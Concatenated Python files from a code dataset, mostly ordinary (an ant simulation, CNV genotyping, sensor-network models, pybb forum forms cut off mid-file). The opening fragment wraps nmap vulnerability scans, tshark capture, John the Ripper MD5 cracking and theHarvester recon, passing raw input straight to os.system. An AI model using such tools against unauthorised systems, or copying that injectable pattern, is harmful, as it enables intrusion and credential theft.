print(os.system(\"nmap -sF \" + RHOST))\n else:\n print(\"Wrong input\") \nelif num == 2:\n interface = input(\"Enter the interface: \")\n time = input(\"Enter the duration in seconds: \")\n filename = input(\"Enter the filename to save as: \")\n print(os.system(\"tshark -i \" + interface + \" -a duration:\" + time + \" -w \" + filename + \".pcap\"))\nelif num == 3:\n wordlist = input(\"Enter the wordlist directory: \")\n md5_hashes_file = input(\"Enter the directory of the file containing the md5 hashes: \")\n print(os.system(\"john --format=raw-md5 --wordlist \" + wordlist + \" \" + md5_hashes_file ))\nelif num == 6:\n RHOST = input(\"Enter the RHOST: \")\n print(os.system(\"nmap -sV \" + RHOST ))\nelif num == 5:\n RHOST = input(\"Enter the RHOST: \")\n print(os.system(\"nmap -sV -script=vulners.nse \" + RHOST ))\nelif num == 4:\n url = input(\"Enter the url: \")\n print(os.system(\"theHarvester -d \" + url + \" -l 1000 -b all\"))\nelse:\n Print(\"Wrong input\") \n\n \n \n \n","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"370381617","text":"import sys, pygame, math, numpy, random, time, copy\nfrom pygame.locals import * \n\nfrom model import PathIntegratorNet\nfrom constants import *\nfrom utils import *\nfrom core import *\n\nclass AntPathAgent(GhostAgent):\n # this close to the nest or a resource counts a touching\n NEST_DIST = 20\n RESC_DIST = 20\n # ants can see markers when at most this far away\n MARKER_DIST = 0.1\n # how many time steps to wait before removing markers (pheromones)\n MARKER_DECAY = 50\n LEAVING_MARKER_DECAY = 100\n\n def __init__(self, image, position, orientation, speed, world):\n super(AntPathAgent, self).__init__(image, position, orientation, speed, world)\n self.world = world\n self.nestPos = (world.dimensions[0]/2., world.dimensions[1]/2.)\n self.ant = PathIntegratorNet()\n self.nest = np.array([0.5, 0.5])\n self.antPos = np.copy(self.nest)\n\n def update(self, delta):\n # am I coming or going?\n relMarkers = []\n returning = self.foodAmount > 0\n if returning and distance(self.position, self.nestPos) < self.NEST_DIST:\n self.foodAmount = 0\n self.t = 0\n return None\n # find markers close to this ant (including food, which are \"honorary\" markers)\n # if returning:\n #\tmarkerPositions = [m[0] for m in self.world.leaving_markers]\n #\tfor markerPos in markerPositions + [self.nest]:\n #\t\tdistToMarker = distance(self.antPos, markerPos)\n #\t\tif distToMarker <= self.MARKER_DIST and np.random.rand() < 0.3:\n #\t\t\trelMarkers.append(self.antPos - np.asarray(markerPos))\n if not returning:\n markerPositions = [m[0] for m in self.world.markers]\n foodPositions = []\n for sr in self.world.resources:\n foodPositions.append(coordinatesToNumpyArray(sr.position, self.world.dimensions))\n for markerPos in markerPositions + foodPositions:\n distToMarker = distance(self.antPos, markerPos)\n if distToMarker <= self.MARKER_DIST:\n relMarkers.append(self.antPos - np.asarray(markerPos))\n # Try possible movements until we find one that works (almost Metropolis-Hastings)\n # scale prevents infinite loops in edge cases\n scale = 1.0 / 0.99\n tmpRect = self.rect.copy()\n while True:\n scale *= 0.9\n if returning:\n proposal = self.ant.proposeReturnStep(relMarkers)\n else:\n proposal = self.ant.proposeSearchStep(relMarkers)\n proposal *= scale\n target = numpyArrayToCoordinates(self.antPos + proposal, self.world.dimensions)\n tmpRect.center = numpyArrayToCoordinates(self.rect.center + proposal, self.world.dimensions)\n # would be MH if we always accepted this\n if self.world.collisionWithNonMover(target, tmpRect):\n continue\n couldMove = True\n for obstacle in self.world.getObstacles():\n if pointInsidePolygonPoints(target, obstacle.getPoints()):\n couldMove = False\n break\n if rayTraceWorld(self.position, target, obstacle.getLines())!= None:\n couldMove = False\n break\n if not couldMove:\n continue\n if target[0] < 0 or target[0] > self.world.dimensions[0] or target[1] < 0 or target[1] > self.world.dimensions[1]:\n continue\n break\n\n # draw green crosses to show where ants \"remember\" they have been\n #for loc, _ in self.ant.locations:\n # coord = numpyArrayToCoordinates(self.nest + loc, self.world.dimensions)\n # drawCross(self.world.background, coord, (0, 200, 0), 5)\n if USE_PHEROMONES:\n if returning:\n self.world.markers.append((self.antPos, self.MARKER_DECAY))\n else:\n self.world.leaving_markers.append((self.antPos, self.LEAVING_MARKER_DECAY))\n self.antPos = self.antPos + proposal\n self.ant.acceptHeading(proposal)\n self.turnToFace(target)\n self.move(numpyArrayToCoordinates(proposal, self.world.dimensions))\n","sub_path":"main/antagent.py","file_name":"antagent.py","file_ext":"py","file_size_in_byte":4236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"494883912","text":"#write import statement for Die class\nfrom src.homework.homework10.die import Die\nfrom src.homework.homework10.score_entry import ScoreEntry\n\n#from die import Die\n#from score_entry import ScoreEntry\n\n\n'''\nCreate a Player class.\nAdd a constructor method to create two Die attributes die1 and die2 \nAdd a roll_doubles method that will iterate, roll die1 and die2, display rolled values, \nand continue iterating until a double is rolled.\n'''\n\nclass Player:\n\n def __init__(self, game_log):\n self.die1 = Die()\n self.die2 = Die()\n self.game_log = game_log\n\n def roll_doubles(self):\n rolled_double = False\n\n i = 1\n while rolled_double == False:\n\n roll1 = self.die1.roll()\n roll2 = self.die2.roll()\n\n self.game_log.add_score_entry(ScoreEntry(i, roll1, roll2))\n i += 1\n\n rolled_double = roll1 == roll2\n\n\n","sub_path":"src/homework/homework10/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"486326136","text":"import os\nimport re\nfrom setuptools import setup, find_packages\n\n\nwith open(os.path.join(os.path.dirname(__file__), 'ares', '__init__.py')) \\\n as v_file:\n package_version = re.compile(r'.*__version__ = \\'(.*?)\\'', re.S). \\\n match(v_file.read()).group(1)\n\ndependencies = [\n 'argcomplete',\n]\n\n\nsetup(\n name='ares',\n version=package_version,\n author='Shayan rokrok',\n author_mail='shayan.rokrok@gmail.com',\n packages=find_packages(),\n install_requires=dependencies,\n entry_points={\n 'console_scripts': [\n 'ares = ares.cli:main'\n ]\n }\n)\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"467545825","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 11 11:30:20 2017\n\n@author: Caiyd\n\"\"\"\n\nimport click\nimport logging\nimport numpy as np\nfrom scipy.spatial.distance import cdist\nfrom itertools import combinations\nfrom collections import defaultdict\nfrom sklearn.cluster import MeanShift, estimate_bandwidth\n\n\n###############################################################################\n# Extract original depth data use to genotype\nclass depthExtracter:\n \"\"\"\n load origin depth(normalized), split acrroding to cnvr\n \n Attributes\n ----------\n n_sample: int\n number of samples\n \n n_cnvr: int\n number of cnvr\n \n uniq_chrom: list\n list of unique chrom\n \n sample_id: 1d numpy array, unicode_\n sample id array, load from cnvr file\n \n cnv_median_ay: 2d numpy array, float64\n median cnv depth array, load from cnvr file\n \n raw_cnv_data: 2d numpy array, unicode_\n raw cnv file data\n \n win2pos: dict\n key is chrom(string)\n value is a dict with window index(integer) as its key and position(integer) as its value\n \n pos2win: dict\n key is chrom(string)\n value is a dict with position(integer) as its key and window index(integer) as its value\n \n effWinId: dict\n key is chrom(string)\n value is a set include all effective window indices in this chrom\n \n effPos: dict\n key is chrom(string)\n value is a set include all effective position(integer) in this chrom\n \n segWin: dict\n key is chrom(string)\n value is a list include all used window index that split by cnvr use symbol '#'\n \n cp_data: dict\n key is chrom(string)\n value is a dict with window index as its key and cp number list(string) as its value\n \n \"\"\"\n def __init__(self, step_size, cnvr, refdb, gain_cp, loss_cp, gain_win, loss_win, logger):\n self.logger = logger\n self.step_size = step_size\n self.cnvr = cnvr\n self.refdb = refdb\n self.gain_cp = gain_cp\n self.loss_cp = loss_cp\n self.gain_win = gain_win\n self.loss_win = loss_win\n \n def loadRefdb(self):\n self.logger.info(\"begin to load refrence database.\")\n self.win2pos = defaultdict(dict)\n self.pos2win = defaultdict(dict)\n with open(self.refdb) as f:\n for line in f:\n line = line.strip().split('\\t')\n chrom = line[0]\n win = int(line[1])\n pos = int(line[2])\n self.win2pos[chrom][win] = pos\n self.pos2win[chrom][pos] = win\n self.logger.info(\"load refrence database is done.\")\n \n def loadEffWinId(self):\n self.logger.info(\"begin to load effective window file.\")\n self.effWinId = defaultdict(set)\n self.effPos = defaultdict(set)\n gain_eff_window_data = np.genfromtxt(self.gain_win, dtype='unicode_', delimiter='\\t')\n loss_eff_window_data = np.genfromtxt(self.loss_win, dtype='unicode_', delimiter='\\t')\n all_eff_window_data = np.vstack([gain_eff_window_data, loss_eff_window_data])\n del(gain_eff_window_data)\n del(loss_eff_window_data)\n for line in all_eff_window_data:\n chrom = line[0]\n win = int(line[1])\n pos = self.win2pos[chrom][win]\n self.effWinId[chrom].add(win)\n self.effPos[chrom].add(pos)\n self.logger.info(\"load effctive window information is done!\")\n\n def loadCnvr(self):\n self.logger.info(\"begin to load cnvr file\")\n self.segWin = defaultdict(list)\n raw_cnv_data = np.genfromtxt(self.cnvr, dtype='unicode_', delimiter='\\t')\n n_empty_value = np.sum(raw_cnv_data == '')\n if n_empty_value != 0:\n self.logger.error('There are %s empty value in the cnvr file!')\n self.raw_cnv_data = raw_cnv_data\n self.sample_id = raw_cnv_data[0, 8:-2]\n self.cnv_median_ay = raw_cnv_data[1:, 8:-2].astype('float64')\n self.n_cnvr, self.n_sample = self.cnv_median_ay.shape\n self.logger.info(\"There are %s samples with %s cnvr\" % (self.n_sample, self.n_cnvr))\n self.logger.debug(\"Samples are:\\n%s\" % ('\\n'.join(self.sample_id)))\n chrom_ay = raw_cnv_data[1:, 0]\n start_ay = raw_cnv_data[1:, 1].astype('int64')\n end_ay = raw_cnv_data[1:, 2].astype('int64')\n chrom_list = list(chrom_ay)\n uniq_chrom_list = list(set(chrom_list))\n uniq_chrom_list.sort(key=chrom_list.index)\n self.uniq_chrom = uniq_chrom_list\n del(chrom_list)\n for chrom in uniq_chrom_list:\n tmp_effWinId_set = self.effWinId[chrom]\n tmp_effPos_set = self.effPos[chrom]\n tmp_pos2win = self.pos2win[chrom]\n tmp_start_ay = start_ay[chrom_ay == chrom]\n tmp_end_ay = end_ay[chrom_ay == chrom]\n for start, end in zip(tmp_start_ay, tmp_end_ay):\n end -= self.step_size\n for pos in range(start, end, self.step_size):\n if pos in tmp_effPos_set:\n win = tmp_pos2win[pos]\n assert win in tmp_effWinId_set\n self.segWin[chrom].append(win)\n self.segWin[chrom].append('#')\n self.logger.info(\"load cnvr file is done\")\n \n def loadCpdata(self):\n self.logger.info(\"begin to load cp data\")\n self.cp_data = defaultdict(dict)\n for file in (self.gain_cp, self.loss_cp):\n with open(file) as f:\n for line in f:\n line = line.strip().split('\\t')\n chrom = line[0]\n win = int(line[1])\n if win in self.effWinId[chrom]:\n self.cp_data[chrom][win] = line[2:]\n self.logger.info(\"load cp data is done\")\n\n\nclass dataDistributer:\n \"\"\"\n Parameters\n ----------\n data: an instance produced by depthExtracter\n \n \"\"\"\n def __init__(self, data, logger):\n self.data = data\n self.logger = logger\n \n def fetchData(self):\n tmp_data = []\n for chrom in self.data.uniq_chrom:\n chrom_depth_data = self.data.cp_data[chrom]\n for win in self.data.segWin[chrom]:\n if win != '#':\n try: # sometime there are a window id include in eff window file but exclude in eff cp file\n tmp_data.append(chrom_depth_data[win])\n except KeyError:\n pass\n else:\n tmp_data = np.array(tmp_data, dtype=\"float64\")\n yield tmp_data\n tmp_data = []\n\n\nclass classifier:\n \"\"\"\n \n \"\"\"\n def __init__(self, data, logger, mahalanobis_merge_cutoff=3):\n self.logger = logger\n self.n_sample = data.n_sample\n self.n_cnvr = data.n_cnvr\n self.sample_id = data.sample_id\n self.cnv_median_ay = data.cnv_median_ay\n self.mahalanobis_merge_cutoff = mahalanobis_merge_cutoff\n \n def meanshift(self, tmp_data):\n cnv_data = tmp_data\n cnv_data_MS = cnv_data.T\n bandwidth = estimate_bandwidth(cnv_data_MS, quantile=0.2, n_samples=self.n_sample)\n ms = MeanShift(bandwidth=bandwidth, cluster_all=True)\n ms.fit(cnv_data_MS)\n labels = ms.labels_\n return labels\n \n def mahalanobis_merge(self, tmp_data, labels):\n cnv_data = tmp_data\n n_clusters_now = np.unique(labels).shape[0]\n iterate = True if n_clusters_now > 1 else False\n while iterate:\n labels_unique = np.unique(labels)\n n_clusters_now = len(labels_unique)\n cluster_distance_pairlist = list(combinations(labels_unique, 2))\n total_pair = len(cluster_distance_pairlist)\n label_reduce = False\n for n_pair, pair in enumerate(cluster_distance_pairlist):\n labels, label_reduce = self.mahalanobis_calculate(cnv_data, labels, pair)\n if label_reduce:\n break\n try: # for loop will not excute when it merge to one genotype, and n_pair will not assignment\n iterate = False if n_pair+1 == total_pair else True\n except UnboundLocalError:\n iterate = False\n labels_unique = np.unique(labels)\n n_clusters_now = len(labels_unique)\n return labels, n_clusters_now\n \n def mahalanobis_calculate(self, cnv_data, labels, pair):\n SingularMatrix = False\n a = np.min(pair)\n b = np.max(pair)\n cluster1 = cnv_data[:, labels == a]\n cluster2 = cnv_data[:, labels == b]\n n_sample = len(cluster1[0, :]) + len(cluster2[0, :])\n n_dim = len(cnv_data[:, 0])\n if n_sample > n_dim:\n temp_cnv_data = cnv_data\n else:\n sample_select = [int(x) for x in np.linspace(0, n_dim-1, n_sample-1)] # resampling\n temp_cnv_data = cnv_data[sample_select, :]\n cluster1 = temp_cnv_data[:, labels == a]\n cluster2 = temp_cnv_data[:, labels == b]\n try:\n# self.logger.debug(\"cluster1 is %s\\n%s\" % (cluster1.T.shape, cluster1.T))\n# self.logger.debug(\"cluster2 is %s\\n%s\" % (cluster2.T.shape, cluster2.T))\n ds_results = cdist(cluster1.T, cluster2.T, 'mahalanobis')\n SingularMatrix = False\n except Exception as err:\n SingularMatrix = True\n if str(err) == 'Singular matrix':\n self.logger.debug(\"Singular matrix!\")\n self.logger.debug(\"cnv_data is:\\n%s\" % cnv_data)\n self.logger.debug(\"resampled data is\\n%s\" % temp_cnv_data)\n else:\n print(err)\n if SingularMatrix:\n label_reduce = False\n else:\n if np.mean(ds_results) < self.mahalanobis_merge_cutoff:\n labels[labels == b] = a\n label_reduce = True\n else:\n label_reduce = False\n return labels, label_reduce\n \n def median_merge(self, labels, cnv_index):\n double_cnv_median_data = 2 * self.cnv_median_ay[cnv_index]\n origin_center = np.arange(0, 7.1, 1)\n genotype_list = ['dd', 'Ad', 'AA', 'AB', 'BB', 'BC', 'CC', 'M']\n labels = labels.astype('unicode_')\n new_labels = labels.astype('unicode_')\n current_stat_dict = {}\n current_labels_list = []\n current_avg_list = []\n n_labels = 0\n for label in np.unique(labels):\n n_labels += 1\n counts = np.sum(labels == label)\n avg = np.mean(double_cnv_median_data[labels == label])\n sd = np.std(double_cnv_median_data[labels == label])\n current_stat_dict[label] = [counts, avg, sd]\n current_labels_list.append(label)\n current_avg_list.append(avg)\n for label in current_stat_dict.keys():\n avg = current_stat_dict[label][1]\n dif_array = np.abs(origin_center - avg)\n genotype = genotype_list[np.argmin(dif_array)]\n new_labels[labels == label] = genotype\n return new_labels\n\nclass labelsWriter:\n def __init__(self, out, raw_cnv_data, sample_id):\n self.out = open(out, 'w')\n self.cnv = raw_cnv_data\n self.sample_id = sample_id\n \n def writeNewlabels(self, new_labels, cnv_index):\n self.out.write(\"\\t\".join(self.cnv[cnv_index+1]) + \"\\t\")\n self.out.write(\"\\t\".join(new_labels) + \"\\n\")\n \n def writeHeader(self):\n self.out.write(\"\\t\".join(self.cnv[0]) + \"\\t\")\n self.out.write(\"\\t\".join(self.sample_id) + \"\\n\")\n \n def close(self):\n self.out.close()\n\n\n@click.command()\n@click.option('-S', '--step_size', default=400, help='kmer step size used in refDB, default=400')\n@click.option('-L', '--log_file', default=None,\n help='write log infro to a file, print to stdout if None')\n@click.option('--debug/--no-debug', default=False)\n@click.argument('cnvr')\n@click.argument('refdb')\n@click.argument('gain_cp')\n@click.argument('loss_cp')\n@click.argument('gain_win')\n@click.argument('loss_win')\n@click.argument('out')\ndef main(step_size, log_file, debug, cnvr, refdb, gain_cp, loss_cp, gain_win, loss_win, out):\n \"\"\"\n genotype cnv according to raw cnv depth base on meanshift algorithm and mahalanobis distance\n \"\"\"\n logger = logging.getLogger(__name__)\n if debug:\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n if log_file:\n handler = logging.FileHandler(log_file)\n handler.setLevel(logging.DEBUG)\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n data = depthExtracter(step_size, cnvr, refdb, gain_cp, loss_cp, gain_win, loss_win, logger)\n data.loadRefdb()\n data.loadEffWinId()\n data.loadCnvr()\n data.loadCpdata()\n data_iter = dataDistributer(data, logger)\n data_classifier = classifier(data, logger)\n out_writer = labelsWriter(out, data.raw_cnv_data, data.sample_id)\n out_writer.writeHeader()\n for cnv_index, cnv_data in enumerate(data_iter.fetchData()):\n logger.debug(\"cnv_index is %s\" % cnv_index)\n logger.debug(\"cnv_data is %s\\n%s\" % (cnv_data.shape, cnv_data))\n try:\n labels = data_classifier.meanshift(cnv_data)\n labels, n_clusters_now = data_classifier.mahalanobis_merge(cnv_data, labels)\n new_labels = data_classifier.median_merge(labels, cnv_index)\n out_writer.writeNewlabels(new_labels, cnv_index)\n except Exception as err:\n logger.warn(\"There occur an error when genotyping in %s cnv, err is %s\" %\n (cnv_index, err))\n out_writer.close()\n \n \nif __name__ == '__main__':\n main()\n\n\ndef debug():\n runfile('E:/Documents/GitHub/My-private-home-cuisine/CNV_analysis/MSGenotype_v1.4.0.py', args='E:/Jiang‘s_lab/sklearn/meanShift/test/CNVR_L10 E:/Jiang‘s_lab/sklearn/meanShift/test/hg19.fa.db.800bp.0.2 E:/Jiang‘s_lab/sklearn/meanShift/test/gain_cp E:/Jiang‘s_lab/sklearn/meanShift/test/loss_cp E:/Jiang‘s_lab/sklearn/meanShift/test/gain_window E:/Jiang‘s_lab/sklearn/meanShift/test/loss_window E:/Jiang‘s_lab/sklearn/meanShift/test/V1.4_test.out', wdir='E:/Documents/GitHub/My-private-home-cuisine/CNV_analysis')\n","sub_path":"CNV_analysis/MSGenotype_v1.4.0.py","file_name":"MSGenotype_v1.4.0.py","file_ext":"py","file_size_in_byte":14465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"641700158","text":"\n\n#calss header\nclass _SUBCONTRACT():\n\tdef __init__(self,): \n\t\tself.name = \"SUBCONTRACT\"\n\t\tself.definitions = [u'to pay someone else to do part of a job that you have agreed to do: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_subcontract.py","file_name":"_subcontract.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"91071165","text":"\"\"\"\n# Filename: networks.py\n# Description:\n# Created by ngocjr7 on [12-06-2020 15:55:08]\n\"\"\"\nfrom __future__ import absolute_import\nfrom problems import SingleHopProblem, MultiHopProblem\nfrom utils.point import distance\nfrom utils.input import WusnInput, WusnConstants as wc\nfrom collections import deque\nfrom geneticpython.models.tree import KruskalTree\nimport sys\nimport os\nimport math\n\n\nclass WusnKruskalNetwork(KruskalTree):\n\n def __init__(self, problem: MultiHopProblem):\n self.problem = problem\n self.m = problem._num_of_sensors\n self.n = problem._num_of_relays\n self.node_count = 1 + self.m + self.n\n self.potential_edges = problem._edges\n self.node_types = problem._node_types\n self.idx2edge = problem._idx2edge\n self.edge2idx = problem._edge2idx\n self._points = problem._points\n self.max_hop = problem.max_hop\n self.num_encoded_edges = problem._num_encoded_edges\n # super(WusnKruskalNetwork, self).__init__(number_of_vertices=self.node_count,\n # root=0, potential_edges=problem._idx2edge, init_method='KruskalRST')\n\n self.number_of_vertices = self.node_count\n self.root = 0\n\n self.potential_edges = problem._idx2edge\n self.potential_adj = problem.potential_adj\n self.set_initialization_method('KruskalRST')\n self.initialize()\n\n def initialize(self):\n super(WusnKruskalNetwork, self).initialize()\n self.parent = [-1 for i in range(self.node_count)]\n self.num_childs = [0 for i in range(self.node_count)]\n self.num_used_relays = 0\n self._is_valid = True\n\n for i in range(1, self.n+1):\n self.add_edge(0, i)\n\n def repair(self):\n visited = [False] * self.node_count\n is_valid = True\n parent = [-1] * self.node_count\n num_childs = [0] * self.node_count\n max_depth = 0\n\n def dfs(u: int, p: int, depth: int):\n ret = 1\n nonlocal max_depth\n visited[u] = True\n max_depth = max(max_depth, depth)\n\n for v in self.adjacency[u]:\n if v != p:\n if visited[v]:\n self._is_valid = False\n else:\n parent[v] = int(u)\n ret += dfs(v, u, depth + 1)\n\n num_childs[u] = ret - 1\n return ret\n\n dfs(self.root, -1, 0)\n self.num_childs = num_childs\n self.parent = parent\n self.num_used_relays = self.n\n for i in range(1, self.n + 1):\n if self.num_childs[i] == 0:\n self.num_used_relays -= 1\n self.parent[i] = -1\n self.num_childs[0] -= 1\n # if (0, i) in self.edges:\n # self.edges.remove((0, i))\n # elif (i, 0) in self.edges:\n # self.edges.remove((i, 0))\n # self.adjacency[0].remove(i)\n # self.adjacency[i].remove(0)\n\n is_valid &= (max_depth <= self.max_hop)\n self.max_depth = max_depth\n is_valid &= all(visited[self.n+1:])\n is_valid &= (len(self.edges) == self.number_of_vertices-1)\n\n potential_edge_set = set(self.potential_edges)\n for u, v in self.edges:\n if (u == 0 and v <= self.n) or (v == 0 and u <= self.n):\n continue\n if (u, v) not in potential_edge_set \\\n and (v, u) not in potential_edge_set:\n is_valid &= False\n\n edge_set = set(self.edges)\n for i in range(1, self.n+1):\n if is_valid and (0, i) not in edge_set and (i, 0) not in edge_set:\n raise ValueError('Network is not valid but is_valid is true')\n\n self._is_valid = is_valid\n if self.num_childs[0] - self.m != self.num_used_relays:\n print(self.edges)\n print(self.num_childs)\n print(self.parent)\n print(self.num_used_relays)\n raise ValueError('oasfdjo')\n\n @property\n def is_valid(self):\n return self._is_valid\n\n\nclass SingleHopNetwork(WusnKruskalNetwork):\n\n def calc_max_energy_consumption(self):\n max_energy_consumption = 0\n for index in range(1, self.node_count):\n if self.parent[index] != -1:\n d = distance(self._points[index],\n self._points[self.parent[index]])\n if index > self.n:\n e = wc.k_bit * \\\n (wc.e_elec + wc.e_fs * d ** 2)\n else:\n e = wc.k_bit * (self.num_childs[index] * (\n wc.e_elec + wc.e_da) + wc.e_mp * d ** 4)\n\n max_energy_consumption = max(max_energy_consumption, e)\n\n return max_energy_consumption\n\n\nclass MultiHopNetwork(WusnKruskalNetwork):\n\n def clone(self):\n ret = MultiHopNetwork(self.problem)\n return ret\n\n def transmission_energy(self, k, d):\n d0 = math.sqrt(wc.e_fs / wc.e_mp)\n if d <= d0:\n return k * wc.e_elec + k * wc.e_fs * (d ** 2)\n else:\n return k * wc.e_elec + k * wc.e_mp * (d ** 4)\n\n def energy_consumption(self, x, y, d):\n e_t = self.transmission_energy(wc.k_bit, d)\n # e_r = x * wc.k_bit * (wc.e_elec + wc.e_da) + y * wc.k_bit * wc.e_da\n e_r = wc.k_bit * wc.e_elec\n e = x * e_r + (x + y) * e_t\n return e\n\n def get_energy_consumption_list(self):\n ret = [0]\n for index in range(1, self.node_count):\n if self.parent[index] != -1:\n d = distance(self._points[index],\n self._points[self.parent[index]])\n e = self.energy_consumption(self.num_childs[index], (index > self.n), d)\n print(index, e, d, self.num_childs[index], (index > self.n))\n ret.append(e)\n else:\n ret.append(0)\n\n return ret\n\n def get_number_of_used_relays(self):\n if self.is_valid:\n return self.num_used_relays\n else:\n return float('inf')\n\n def calc_max_energy_consumption(self):\n ep_list = self.get_energy_consumption_list()\n if self.is_valid:\n return max(ep_list) \n else:\n return float('inf')\n","sub_path":"networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":6373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"406446","text":"# -*- coding: utf-8 -*-\n\ndef average(values):\n return sum(values) / len(values)\n\nimport unittest\n\nclass TestStatisticalFunctionss(unittest.TestCase):\n \n def test_average(self):\n self.assertEqual(average(20, 30, 70), 40.0)\n self.assertEqual(round(average(1, 5, 7), 1), 4.3)\n \n with self.assertRaises(ZeroDivisionError):\n average([])\n with self.assertRaises(TypeError):\n average(20, 30, 70)\n\nunittest.main() # Calling from the command line invokes all tests\n \n","sub_path":"Tutorial/stdlib_unittest.py","file_name":"stdlib_unittest.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"95651509","text":"# -*- coding: utf-8 -*-\nimport inspect\nimport copy\n\nfrom django import forms\nfrom django.db.models import Q\nfrom django.forms.formsets import formset_factory\nfrom django.forms.models import inlineformset_factory, BaseInlineFormSet\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.utils.translation import ugettext as _\nfrom django.forms.formsets import BaseFormSet\n\nfrom pybb.models import (Topic, Post, Attachment, TopicRedirection,\n PollAnswer, Forum, Poll)\nfrom pybb.compat import get_user_model\nfrom pybb.proxies import UserObjectPermission\nfrom pybb import defaults\nfrom pybb.util import tznow, load_class\n\nfrom autoslug.settings import slugify\n\n\nclass AttachmentForm(forms.ModelForm):\n class Meta(object):\n model = Attachment\n fields = ('file', )\n\n def clean_file(self):\n if self.cleaned_data['file'].size > defaults.PYBB_ATTACHMENT_SIZE_LIMIT:\n raise forms.ValidationError(_('Attachment is too big'))\n return self.cleaned_data['file']\n\nAttachmentFormSet = inlineformset_factory(Post, Attachment, extra=1, form=AttachmentForm)\n\n\nclass PollAnswerForm(forms.ModelForm):\n class Meta:\n model = PollAnswer\n fields = ('text', )\n\n\nclass BasePollAnswerFormset(BaseInlineFormSet):\n def clean(self):\n if any(self.errors):\n return\n\n forms_cnt = len(self.initial_forms) + len([form for form in self.extra_forms if form.has_changed()]) - len(self.deleted_forms)\n\n if forms_cnt > defaults.PYBB_POLL_MAX_ANSWERS:\n raise forms.ValidationError(_('You can''t add more than %s answers for poll') % defaults.PYBB_POLL_MAX_ANSWERS)\n\n if forms_cnt < 2:\n raise forms.ValidationError(_('Add two or more answers for this poll'))\n\n\nPollAnswerFormSet = inlineformset_factory(Poll, PollAnswer, extra=2, max_num=defaults.PYBB_POLL_MAX_ANSWERS,\n form=PollAnswerForm, formset=BasePollAnswerFormset)\n\n\npybb_premoderation = None\nif defaults.PYBB_PREMODERATION:\n pybb_premoderation = load_class(defaults.PYBB_PREMODERATION)\n\n\nclass PostForm(forms.ModelForm):\n error_messages = {\n 'duplicate': _(\"A topic with that name already exists.\"),\n }\n\n name = forms.CharField(label=_('Subject'))\n\n body = forms.CharField(label=_('Message'),\n widget=forms.Textarea(attrs={'class': 'pretty_editor'}))\n\n hash = forms.CharField(label=_('Hash'),\n widget=forms.HiddenInput())\n\n class Meta(object):\n model = Post\n fields = ('body',)\n\n def __init__(self, *args, **kwargs):\n if args:\n kwargs.update(dict(zip(inspect.getargspec(super(PostForm, self).__init__)[0][1:], args)))\n\n self.user = kwargs.pop('user', None)\n self.ip = kwargs.pop('ip', None)\n self._topic = kwargs.pop('topic', None)\n self._forum = kwargs.pop('forum', None)\n self.actor = kwargs.pop('actor', None)\n self.pollformset = None\n\n if ('instance' in kwargs) and kwargs['instance'] and (kwargs['instance'].topic.head == kwargs['instance']):\n kwargs.setdefault('initial', {})['name'] = kwargs['instance'].topic.name\n\n if kwargs['instance'].topic.poll and not defaults.PYBB_DISABLE_POLLS:\n kwargs.setdefault('initial', {})['poll_type'] = kwargs['instance'].topic.poll.type\n kwargs.setdefault('initial', {})['poll_question'] = kwargs['instance'].topic.poll.question\n\n super(PostForm, self).__init__(**kwargs)\n\n self.fields['hash'].initial = self.instance.get_hash()\n\n if not defaults.PYBB_DISABLE_POLLS:\n self.fields['poll_type'] = forms.TypedChoiceField(label=_('Poll type'),\n choices=Poll.TYPE_CHOICES,\n coerce=int,\n initial=Poll.TYPE_NONE)\n self.fields['poll_question'] = forms.CharField(label=_('Poll question'),\n required=False,\n widget=forms.Textarea(attrs={'class': 'no-markitup'}))\n\n if not (self._forum or self._topic or self.instance.pk):\n self.fields['forum'] = forms.ModelChoiceField(label=_('Forum'),\n queryset=Forum.objects.all().order_by('name'),\n required=True)\n\n # remove topic specific fields\n if not (self._forum or (self.instance.pk and (self.instance.topic.head == self.instance))):\n\n if (self.instance.pk and not self.instance.topic.head == self.instance) or self._topic:\n del self.fields['name']\n\n if not defaults.PYBB_DISABLE_POLLS:\n del self.fields['poll_type']\n del self.fields['poll_question']\n\n def clean_name(self):\n name = self.cleaned_data['name']\n\n if self._topic:\n return name\n\n if not defaults.PYBB_DUPLICATE_TOPIC_SLUG_ALLOWED:\n try:\n Topic.objects.get(slug=slugify(name), forum=self._forum)\n except Topic.DoesNotExist:\n return name\n raise forms.ValidationError(self.error_messages['duplicate'])\n\n return name\n\n def clean_body(self):\n body = self.cleaned_data['body']\n user = self.user or self.instance.user\n if defaults.PYBB_BODY_VALIDATOR:\n defaults.PYBB_BODY_VALIDATOR(user, body)\n\n for cleaner_class in defaults.PYBB_BODY_CLEANERS:\n body = load_class(cleaner_class)(user, body)\n return body\n\n def is_valid(self):\n is_valid = super(PostForm, self).is_valid()\n\n if self.pollformset:\n is_valid &= self.pollformset.is_valid()\n\n return is_valid\n\n def clean(self):\n if not defaults.PYBB_DISABLE_POLLS:\n poll_type = 